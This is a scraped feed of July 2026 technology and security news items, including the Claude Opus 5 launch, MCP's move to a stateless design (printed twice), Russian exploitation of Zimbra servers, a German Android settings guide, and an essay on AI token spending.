The post New CISA/NSA Advisory Spotlights Russian Attacks on Zimbra Webmail appeared first on Cyber Defense Magazine.


Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.




Russia's Laundry Bear targets unpatched Zimbra servers.
Fri, 24 Jul 2026 18:18:08 +0200
US State Department places visa restrictions on suspected cybercriminals. Stadler Rail refuses to pay ransomware gang.


Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:40:37 +0200

					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:38:35 +0200

		
					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



This article first appeared on InfoWorld.



Hackers use DNS poisoning on hotel Wi‑Fi to steal Microsoft 365 accounts
Fri, 24 Jul 2026 16:10:22 +0200
Threat actors are compromising hotel and conference center Wi-Fi gateways to redirect travelers to fake Microsoft login pages and steal corporate accounts. The campaign has been active since at least June 2026 and appears to reuse techniques previously associated with the Russian state-backed hacking group APT28, although the researchers stopped short of attributing the activity …
The post Hackers use DNS poisoning on hotel Wi‑Fi to steal Microsoft 365 accounts appeared first on CyberInsider.


Pentests: Lücke zwischen Testzyklen und Bedrohungslage - it-daily.net
Fri, 24 Jul 2026 16:06:04 +0200
Für die Untersuchung „The State of Continuous Security Validation“ hat Synack Führungskräfte und Sicherheitsexperten aus Unternehmen befragt. Das ...


NSA and Partners Alert Zimbra Collaboration Suite Users of a Russian State-Supported Phishing Campaign
Fri, 24 Jul 2026 15:57:39 +0200


    2026-07-23 • NSA
     • NSA
     • js.zimreaper
    
    

    Open article on Malpedia



Neues Android-Handy: Diese fünf Einstellungen ändere ich sofort
Fri, 24 Jul 2026 15:35:26 +0200





Jedes neue Android-Smartphone durchläuft bei mir dasselbe Ritual: Noch bevor die erste App startet, klicke ich mich durch fünf Einstellungen, die – wie ich finde – jedes Handy von Werksseite aus schon (de-)aktiviert haben sollte. Welche das sind, zeige ich Schritt für Schritt.



Hinweis: Ich selbst nutze ein Samsung-Smartphone. Die genauen Menüpfade und Bezeichnungen, die Sie in diesem Artikel finden, können bei anderen Android-Herstellern leicht abweichen. Die grundlegenden Funktionen finden Sie aber bei jedem Android-Gerät, meist nur unter leicht anderem Namen oder an anderer Stelle in den Einstellungen.



1. Personalisierte Werbung deaktivieren



Google und viele App-Anbieter verknüpfen Ihr Nutzungsverhalten über eine sogenannte Werbe-ID mit Ihrem Profil, um Anzeigen zuzuschneiden. Ich schalte das ab, weil ich schlicht nicht möchte, dass mein halbes digitales Leben zu Werbezwecken ausgewertet wird:




Öffnen Sie Einstellungen > Sicherheit & Datenschutz > Weitere Datenschutzeinstellungen.



Deaktivieren Sie im Abschnitt Google die Funktion “Android-Personalisierungsdienst” und tippen Sie anschließend auf “Werbung” > “Werbe-ID löschen”.




Damit unterbinden Sie zwar nicht jede Form von Werbung, aber die Anzeigen werden deutlich weniger zielgerichtet auf Sie persönlich ausgespielt. Mehr zu versteckten Tracking-Funktionen von Google lesen Sie hier: Diese Google-Funktion überwacht Sie heimlich – so deaktivieren Sie das.


So viel Datenschutz muss sein: Personalisierte Werbung mitsamt Werbe-ID lässt sich in den Datenschutz-Einstellungen löschen oder deaktivieren.

PC-Welt



Wenn Sie es mit Datentracking ganz genau nehmen, empfehle ich Ihnen, unter myaccount.google.com noch die Aktivitätseinstellungen für Ihr Google-Konto zu prüfen.







2. Sperrbildschirm-Benachrichtigungen ohne Inhalte anzeigen



Standardmäßig zeigt Android Nachrichteninhalte, Absendernamen und teils sogar Codes für die Zwei-Faktor-Authentifizierung direkt auf dem gesperrten Bildschirm an – lesbar für jeden, der Ihr Handy in die Hand nimmt! Das ändere ich als Erstes, sobald ein Gerät neu eingerichtet ist:




Gehen Sie zu Einstellungen > Benachrichtigungen.



Wählen Sie “Inhalt bei Sperrung ausblenden”.



Stellen Sie auf “In gesperrtem Zustand ausblenden”.




Sie können das Ganze auch einzeln pro App festlegen, statt nur systemweit: Öffnen Sie dazu Einstellungen > Apps > [gewünschte App] > Benachrichtigungen und legen Sie dort separat fest, ob Nachrichteninhalte dieser App auf dem Sperrbildschirm angezeigt oder ausgeblendet werden sollen. 



Eine ausführliche Übersicht weiterer Schutzmaßnahmen finden Sie in diesem Ratgeber: Schützen Sie Ihr Smartphone mit diesen 7 Android-Datenschutzeinstellungen.







3. Akku-Optimierung pro App statt pauschalem Sparmodus



Den generischen Energiesparmodus finde ich zu grob, zumal ich Apps habe, die im Sparmodus nicht optimal laufen können. Deshalb schränke ich gezielt die Apps ein, die im Hintergrund unnötig Strom ziehen, und passe ein paar Display-Einstellungen an:




Öffnen Sie zunächst Einstellungen > Akku. Unterhalb der Nutzungsanzeige sehen Sie, welche Apps am meisten Akku verbrauchen. Öffnen Sie nun diese akku-hungrigen Apps unter Einstellungen > Apps > [App] > Akku und stellen Sie die Einstellung von “Nicht eingeschränkt” auf “Optimiert” oder “Eingeschränkt”.



Reduzieren Sie unter Einstellungen > Anzeige die Bildwiederholrate von 90/120 Hertz auf 60 Hertz (bei Samsung “Standard“), falls Sie keine animationsreichen Spiele spielen und auch sonst nicht besonders auf butterweiches Scrollen angewiesen sind. Beim reinen Surfen, Chatten oder Videoschauen fällt Ihnen der Unterschied kaum auf, da Filme und Serien ohnehin überwiegend mit deutlich niedrigerer Bildrate laufen.



Deaktivieren Sie Always-on-Display (unter Einstellungen > Sperrbildschirm und AOD), wenn Sie es ohnehin selten ansehen.




Diese drei Handgriffe bringen im Alltag oft mehr als jeder Sparmodus-Knopf. Hier finden Sie eine vollständige Liste weiterer Stellschrauben: 13 Einstellungen, mit denen Ihr Smartphone-Akku länger hält.


Mit wenigen Klicks erhöhen Sie Ihre Akkulaufzeit sofort. Im Bild zu sehen: Akkuverbrauch (links), Einstellungen für die Bildwiederholrate (Mitte) und deaktiviertes Always-On-Display (rechts).
 
PC-Welt



4. Berührungsempfindlichkeit für Displayschutzfolien aktivieren



Ohne Panzerglasfolie auf dem Display geht bei mir gar nichts. Allerdings kenne ich noch die Zeiten, in denen ich mich mit hakeligen Wischgesten und dem Entsperren per Fingerabdruck herumschlagen musste, weil die Touchscreen-Eingaben durch die Folien stark gedämpft waren.



Eines Tages bin ich auf die Einstellung “Berührungsempfindlichkeit“ gestoßen und – siehe da – alle Folien-Probleme haben sich in Luft aufgelöst. Diese Einstellung ändere ich deshalb bei jedem neuen Handy mit Schutzfolie sofort:




Öffnen Sie Einstellungen > Anzeige.



Suchen Sie den Punkt “Berührungsempfindlichkeit” und aktivieren Sie ihn.




Mit aktivierter Berührungsempfindlichkeit reagiert der Touchscreen wieder so präzise wie ohne Folie. Sie werden den Unterschied sofort bemerken.







5. Automatisches Backup sofort aktivieren



Zum Glück habe ich noch nie ein Backup meiner Daten benötigt, aber allein der Gedanke an ein verlorenes, gestohlenes oder kaputtes Handy ohne Sicherung reicht mir, um bei jedem neuen Gerät sofort vorzusorgen. Denn das Aktivieren geht wirklich super schnell und reibungslos:




Öffnen Sie Einstellungen > Konten und Sicherung.



Falls Sie ein Samsung-Handy haben: Tippen Sie unter Samsung Cloud auf “Daten sichern”, um Kontakte, Kalender, Notizen und App-Daten geräteseitig zu sichern.



Aktivieren Sie zusätzlich im selben Menü das Backup über Google Drive, damit Ihre wichtigsten Daten auch herstellerunabhängig gesichert sind.



Öffnen Sie außerdem Google Fotos und schalten Sie dort separat die automatische Sicherung für Fotos und Videos ein.



Aktivieren Sie bei Bedarf zusätzlich das Backup für Messenger wie Whatsapp (Einstellungen innerhalb der jeweiligen App).




Wie Sie beim Gerätewechsel wirklich alle Daten mitnehmen – inklusive Chatverläufe und Einstellungen –, beschreiben wir in Smartphone-Umzug: So nehmen Sie Ihre Daten mit. Eine komplette Einrichtungs-Checkliste für ein neues Gerät liefert außerdem der Leitfaden So richten Sie Ihr neues Android-Smartphone ein.




Russian hackers exploit unpatched Zimbra servers to steal emails
Fri, 24 Jul 2026 14:58:47 +0200
Russian state-backed hacker group Laundry Bear has been breaking into government and commercial networks for at least a year by exploiting a vulnerability in the Zimbra Collaboration Suite (ZCS) webmail platform. Laundry Bear (also known as Void Blizzard, CL-STA-1114, and…
Read more →
The post Russian hackers exploit unpatched Zimbra servers to steal emails appeared first on IT Security News.


Early Edition: July 24, 2026
Fri, 24 Jul 2026 14:39:50 +0200
Signup to receive the Early Edition in your inbox here. A curated weekday guide to major news and developments over the last 24 hours. Here’s today’s news: IRAN WAR The U.S. military completed its latest round of strikes on Iran overnight, marking a 13th consecutive night of attacks, according to U.S. Central Command. Iranian state media […]
The post Early Edition: July 24, 2026 appeared first on Just Security.


Russian hackers exploit unpatched Zimbra servers to steal emails
Fri, 24 Jul 2026 14:39:47 +0200
Russian state-backed hacker group Laundry Bear has been breaking into government and commercial networks for at least a year by exploiting a vulnerability in the Zimbra Collaboration Suite (ZCS) webmail platform. Laundry Bear (also known as Void Blizzard, CL-STA-1114, and TA488) has been running the campaign since July 2025, according to a joint advisory from the NSA, FBI, CISA, and cybersecurity agencies from the Netherlands, UK, Australia, Canada, and a dozen other countries. “Laundry Bear’s … More →
The post Russian hackers exploit unpatched Zimbra servers to steal emails appeared first on Help Net Security.


Getting a grip on shadow tokens and AI blowouts
Fri, 24 Jul 2026 14:04:46 +0200

		
					  
						




Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.



This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.



And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.



LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.



Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.



When shadow tokens result in real costs



The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.



And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.



According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.



This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.



Shifting the culture from usage to yield



Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.



None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.



Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.



Stopping token waste before an AI blowout



Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.



This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.



Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.



We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.



This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.



Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.



This article is published as part of the Foundry Expert Contributor Network.
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CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Fri, 24 Jul 2026 12:09:00 +0200

		
					  
						




Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.



Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.



